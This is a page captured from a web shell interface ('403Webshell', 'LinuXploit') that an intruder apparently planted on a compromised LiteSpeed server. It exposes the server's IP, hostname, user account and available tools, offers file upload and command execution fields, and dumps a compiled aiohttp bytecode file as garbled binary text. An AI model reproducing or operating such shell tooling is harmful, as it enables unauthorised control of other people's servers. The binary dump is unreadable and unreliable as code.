403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.141.38.5
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib64/python3.7/site-packages/aiohttp/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib64/python3.7/site-packages/aiohttp/__pycache__/web_app.cpython-37.pyc
B

�k�atC�@shddlZddlZddlZddlmZmZddlmZmZm	Z	m
Z
mZmZm
Z
mZmZmZmZmZmZmZmZmZmZddlmZddlmZddlmZddlmZm Z m!Z!m"Z"dd	l#m$Z$dd
l%m&Z&ddl'm(Z(ddl)m*Z*dd
l+m,Z,ddl-m.Z.ddl/m0Z0ddl1m2Z2ddl3m4Z4ddl5m6Z6ddl7m8Z8ddl9m:Z:m;Z;m<Z<m=Z=m>Z>m?Z?m@Z@dZAe�r�ddlBmCZCeedge
dfZDeee2e4ge
dfZEeee2eCge
e4fedeCge
eCffZFeeFZGeeeeFeHfZIedZJneZDeZEeZFeZGeeZIeZJGdd�deeKef�ZLGdd�deM�ZNe�rPeeeLge	dfZOneZOGdd�deO�ZPdS)�N)�partial�update_wrapper)�
TYPE_CHECKING�Any�
AsyncIterator�	Awaitable�Callable�Dict�Iterable�Iterator�List�Mapping�MutableMapping�Optional�Sequence�Tuple�Type�Union�cast)�Signal)�
FrozenList�)�hdrs)�AbstractAccessLogger�AbstractMatchInfo�AbstractRouter�AbstractStreamWriter)�DEBUG)�RawRequestMessage)�
web_logger)�StreamReader)�AccessLogger)�_fix_request_current_app)�RequestHandler)�Request)�StreamResponse)�AbstractRouteDef)�Server)�AbstractResource�
AbstractRoute�Domain�
MaskDomain�MatchedSubAppResource�PrefixedSubAppResource�
UrlDispatcher)�Application�CleanupError)�Handlerr/cspeZdZeddddddddd	d
ddd
dddddg�Zeddddddd�ejee	e
eeee
efeeejedd�dd�Zeddd�dd�Zer�e
edd��fdd �Zeed!�d"d#�Ze
ed$�d%d&�Zdd'�d(d)�Ze
edd*�d+d,�Ze
dd$�d-d.�Zed'�d/d0�Zee
d'�d1d2�Z e!ejd'�d3d4��Z"eejdd5�d6d7�Z#e!ed'�d8d9��Z$dd'�d:d;�Z%e!ed'�d<d=��Z&dd'�d>d?�Z'e!ed'�d@dA��Z(dddB�dCdD�Z)e
de*dE�dFdG�Z+e,ge*fde*dH�dIdJ�Z-e
de*dK�dLdM�Z.e
e/e0e1dN�dOdP�Z2e!e3d'�dQdR��Z4e!e5d'�dSdT��Z6e!e5d'�dUdV��Z7e!e5d'�dWdX��Z8e!dYd'�dZd[��Z9e!e	d'�d\d]��Z:e!e;d'�d^d_��Z<de=d`�eejee>ee?da�dbdc�Z@de=d`�eejee>ee?da�ddde�ZAdd'�dfdg�ZBdd'�dhdi�ZCdd'�djdk�ZDeEfeFeGeHeIdleeEeEdm�dndo�ZJeeKeefd'�dpdq�ZLeEeMdr�dsdt�ZNdd'�dudv�ZOe
d'�dwdx�ZPed'�dydz�ZQ�ZRS){r/�logger�_debug�_router�_loop�
_handler_args�_middlewares�_middlewares_handlers�_run_middlewares�_state�_frozen�_pre_frozen�_subapps�_on_response_prepare�_on_startup�_on_shutdown�_on_cleanup�_client_max_size�_cleanup_ctxN�i.)r2�router�middlewares�handler_args�client_max_size�loop�debug)r2rErFrGrHrIrJ�returncCs|dkrt�}ntjdtdd�t|t�s2t|��|dk	rJtjdtdd�|dk	rbtjdtdd�||_||_||_	||_
||_t|�|_
d|_d|_i|_d|_d|_g|_t|�|_t|�|_t|�|_t|�|_t�|_|j�|jj�|j�|jj�||_dS)Nzrouter argument is deprecated�)�
stacklevelzloop argument is deprecated.zdebug argument is deprecatedF)r.�warnings�warn�DeprecationWarning�
isinstancer�AssertionErrorr3r4r5r6r2rr7r8r9r:r;r<r=rr>r?r@rA�CleanupContextrC�appendrB)�selfr2rErFrGrHrIrJrDrD�B/opt/alt/python37/lib64/python3.7/site-packages/aiohttp/web_app.py�__init__is>




zApplication.__init__)�clsrKcCstjd�|j�tdd�dS)Nz8Inheritance class {} from web.Application is discouragedrL)rM)rNrO�format�__name__rP)rXrDrDrV�__init_subclass__�s
zApplication.__init_subclass__)�name�valrKcs2||jkr tjd�|�tdd�t��||�dS)Nz:Setting custom web.Application.{} attribute is discouragedrL)rM)�ATTRSrNrOrYrP�super�__setattr__)rUr\r])�	__class__rDrVr`�s
zApplication.__setattr__)�otherrKcCs||kS)NrD)rUrbrDrDrV�__eq__�szApplication.__eq__)�keyrKcCs
|j|S)N)r:)rUrdrDrDrV�__getitem__�szApplication.__getitem__)rKcCs|jrtjdtdd�dS)Nz=Changing state of started or joined application is deprecated�)rM)r;rNrOrP)rUrDrDrV�
_check_frozen�s
zApplication._check_frozen)rd�valuerKcCs|��||j|<dS)N)rgr:)rUrdrhrDrDrV�__setitem__�szApplication.__setitem__cCs|��|j|=dS)N)rgr:)rUrdrDrDrV�__delitem__�szApplication.__delitem__cCs
t|j�S)N)�lenr:)rUrDrDrV�__len__�szApplication.__len__cCs
t|j�S)N)�iterr:)rUrDrDrV�__iter__�szApplication.__iter__cCstjdtdd�ttj|j�S)Nzloop property is deprecatedrL)rM)rNrOrPr�asyncio�AbstractEventLoopr5)rUrDrDrVrI�szApplication.loop)rIrKcCsd|dkrt��}|jdk	r,|j|k	r,td��||_|jdkrF|��|_x|jD]}|�|�qNWdS)Nz8web.Application instance initialized with different loop.)ro�get_event_loopr5�RuntimeErrorr3�	get_debugr=�	_set_loop)rUrI�subapprDrDrVrt�s

zApplication._set_loopcCs|jS)N)r<)rUrDrDrV�
pre_frozen�szApplication.pre_frozencCs�|jr
dSd|_|j��|j��|j��|j��|j��|j��|j��t	|�
��|_|jrndnd|_
x$|jD]}|��|j
p�|j
|_
q|WdS)NTF)r<r7�freezer4r>rCr?r@rA�tuple�_prepare_middlewarer8rFr9r=�
pre_freeze)rUrurDrDrVrz�s






zApplication.pre_freezecCs|jS)N)r;)rUrDrDrV�frozen
szApplication.frozencCs4|jr
dS|��d|_x|jD]}|��q WdS)NT)r;rzr=rw)rUrurDrDrVrwszApplication.freezecCstjdtdd�|jS)Nzdebug property is deprecatedrL)rM)rNrOrPr3)rUrDrDrVrJszApplication.debug)rurKcs2tdd���fdd�}|d�|d�|d�dS)N)�signamerKcs8t�|��ddd���fdd�}t�|�}|�|�dS)Nr/)�apprKc�s����IdHdS)N)�send)r})ru�subsigrDrV�handler szEApplication._reg_subapp_signals.<locals>.reg_handler.<locals>.handler)�getattrrT)r|r�Zappsig)rUru)rrV�reg_handlers

z4Application._reg_subapp_signals.<locals>.reg_handler�
on_startup�on_shutdown�
on_cleanup)�str)rUrur�rD)rUrurV�_reg_subapp_signalss	zApplication._reg_subapp_signals)�prefixrurKcCs@t|t�std��|�d�}|s(td��tt||�}|�||�S)NzPrefix must be str�/zPrefix cannot be empty)rQr��	TypeError�rstrip�
ValueErrorrr-�_add_subapp)rUr�ru�factoryrDrDrV�
add_subapp*s

zApplication.add_subapp)�resource_factoryrurKcCsf|jrtd��|jrtd��|�}|j�|�|�|�|j�|�|��|jdk	rb|�	|j�|S)Nz0Cannot add sub application to frozen applicationzCannot add frozen application)
r{rrrEZregister_resourcer�r=rTrzr5rt)rUr�ru�resourcerDrDrVr�3s

zApplication._add_subapp)�domainrurKcCsFt|t�std��nd|kr&t|�}nt|�}tt||�}|�||�S)NzDomain must be str�*)rQr�r�r+r*rr,r�)rUr�ruZruler�rDrDrV�
add_domainCs


zApplication.add_domain)�routesrKcCs|j�|�S)N)rE�
add_routes)rUr�rDrDrVr�MszApplication.add_routescCs|jS)N)r>)rUrDrDrV�on_response_preparePszApplication.on_response_preparecCs|jS)N)r?)rUrDrDrVr�TszApplication.on_startupcCs|jS)N)r@)rUrDrDrVr�XszApplication.on_shutdowncCs|jS)N)rA)rUrDrDrVr�\szApplication.on_cleanuprScCs|jS)N)rC)rUrDrDrV�cleanup_ctx`szApplication.cleanup_ctxcCs|jS)N)r4)rUrDrDrVrEdszApplication.routercCs|jS)N)r7)rUrDrDrVrFhszApplication.middlewares)rI�access_log_class)rIr��kwargsrKcKs~t|t�std�|���|�|�|��|j|d<||d<|jrbx|j��D]\}}|||<qNWt	|j
f|j|jd�|��S)NzMaccess_log_class must be subclass of aiohttp.abc.AbstractAccessLogger, got {}rJr�)Zrequest_factoryrI)
�
issubclassrr�rYrtrwr3r6�itemsr'�_handle�
_make_requestr5)rUrIr�r��k�vrDrDrV�
_make_handlerls 


zApplication._make_handlercKs&tjdtdd�|jf||d�|��S)NzFApplication.make_handler(...) is deprecated, use AppRunner API insteadrL)rM)rIr�)rNrOrPr�)rUrIr�r�rDrDrV�make_handler�szApplication.make_handlerc�s|j�|�IdHdS)zmCauses on_startup signal

        Should be called in the event loop along with the request handler.
        N)r�r~)rUrDrDrV�startup�szApplication.startupc�s|j�|�IdHdS)zMCauses on_shutdown signal

        Should be called before cleanup()
        N)r�r~)rUrDrDrV�shutdown�szApplication.shutdownc�s2|jjr|j�|�IdHn|j�|�IdHdS)zLCauses on_cleanup signal

        Should be called after shutdown()
        N)r�r{r~rCrA)rUrDrDrV�cleanup�szApplication.cleanupzasyncio.Task[None])�message�payload�protocol�writer�task�_clsrKc	Cs|||||||j|jd�S)N)rH)r5rB)rUr�r�r�r�r�r�rDrDrVr��s	zApplication._make_requestccsbxNt|j�D]@}t|dd�dkr,|dfVqtjd�|�tdd�|dfVqWt|�dfVdS)NZ__middleware_version__rTz1old-style middleware "{!r}" deprecated, see #2252rL)rMF)�reversedr7r�rNrOrYrPr")rU�mrDrDrVry�szApplication._prepare_middleware)�requestrKc�s
t��}|��}|j�|�IdH}|r>t|t�s>td�|���|�	|�|�
�d}||_|j�
tj�}|r�|�|�IdH}|j��IdH|dk�r|j}|jr�xT|jddd�D]@}x:|jD]0\}	}
|
r�tt|	|d�|�}q�|	||�IdH}q�Wq�W||�IdH}|S)Nz9match_info should be AbstractMatchInfo instance, not {!r}���)r�)rorqrsr4�resolverQrr�rYZadd_apprwZ_match_info�headers�getrZEXPECTZexpect_handlerr�Zdrainr�r9Zappsr8rr)rUr�rIrJZ
match_infoZrespZexpectr�r}r�Z	new_stylerDrDrVr��s6


zApplication._handlecCs|S)zgunicorn compatibilityrD)rUrDrDrV�__call__�szApplication.__call__cCsdt|�d�d�S)Nz<Application 0x�x�>)�id)rUrDrDrV�__repr__szApplication.__repr__cCsdS)NTrD)rUrDrDrV�__bool__szApplication.__bool__)SrZ�
__module__�__qualname__�	frozensetr^r�logging�Loggerrr.r
�_Middlewarer
r�r�introrprWrr[rr`�object�boolrcrergrirjrlrrn�propertyrIrtrvrzr{rwrJr�r(r�rr�r�r&rr)r��_RespPrepareSignalr��
_AppSignalr�r�r�r�rE�_MiddlewaresrFr!rr'r�r�r�r�r�r$rr r#rr�rryr%r�r�r�r��
__classcell__rDrD)rarVr/Qs�0-	

&c@s"eZdZeeed�dd��ZdS)r0)rKcCsttt|jd�S)Nr)rr�
BaseException�args)rUrDrDrV�
exceptionsszCleanupError.exceptionsN)rZr�r�r�rr�r�rDrDrDrVr0sr0csBeZdZdd��fdd�Zedd�dd�Zedd�dd	�Z�ZS)
rSN)rKcst���g|_dS)N)r_rW�_exits)rU)rarDrVrWs
zCleanupContext.__init__)r}rKc�s8x2|D]*}||���}|��IdH|j�|�qWdS)N)�	__aiter__�	__anext__r�rT)rUr}�cb�itrDrDrVr?s
zCleanupContext._on_startupc�s�g}xxt|j�D]j}y|��IdHWn>tk
r:Yqtk
rd}z|�|�Wdd}~XYqX|�t|�d���qW|r�t|�dkr�|d�n
td|��dS)Nz has more than one 'yield'rrz Multiple errors on cleanup stage)	r�r�r��StopAsyncIteration�	ExceptionrTrrrkr0)rUr}�errorsr��excrDrDrVrAs
zCleanupContext._on_cleanup)rZr�r�rWr/r?rAr�rDrD)rarVrSsrS)Qror�rN�	functoolsrr�typingrrrrrr	r
rrr
rrrrrrrZ	aiosignalrZ
frozenlistr�r�abcrrrrZhelpersrZhttp_parserr�logrZstreamsr Zweb_logr!Zweb_middlewaresr"Zweb_protocolr#Zweb_requestr$Zweb_responser%Zweb_routedefr&Z
web_serverr'Zweb_urldispatcherr(r)r*r+r,r-r.�__all__Ztypedefsr1r�r�r�r�r�Z_MiddlewaresHandlersZ_Subappsr�r/rrr0Z_CleanupContextBaserSrDrDrDrV�<module>s\L$

9

Youez - 2016 - github.com/yon3zu
LinuXploit